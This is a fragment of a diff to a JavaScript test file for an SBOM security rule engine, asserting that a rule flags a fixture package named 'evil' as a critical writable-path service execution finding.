name: "cdx:service:packageRef",
|
|
4696
|
+
value: "pkg:deb/debian/evil@1.0.0",
|
|
4697
|
+
},
|
|
4698
|
+
],
|
|
4699
|
+
},
|
|
4700
|
+
],
|
|
2718
4701
|
);
|
|
2719
|
-
});
|
|
2720
4702
|
|
|
2721
|
-
|
|
2722
|
-
const findings = [{ severity: "medium" }];
|
|
4703
|
+
const findings = await evaluateRule(rule, bom);
|
|
2723
4704
|
assert.ok(
|
|
2724
|
-
|
|
4705
|
+
findings.length > 0,
|
|
4706
|
+
"Should detect writable-path service execution",
|
|
2725
4707
|
);
|
|
2726
|
-
assert.
|
|
2727
|
-
});
|
|
2728
|
-
|
|
2729
|
-
it("should return false for empty findings", () => {
|
|
2730
|
-
assert.ok(!hasCriticalFindings([], {}));
|
|
2731
|
-
assert.ok(!hasCriticalFindings(null, {}));
|
|
4708
|
+
assert.strictEqual(findings[0].severity, "critical");
|
|
2732
4709
|
});
|
|
2733
4710
|
});
|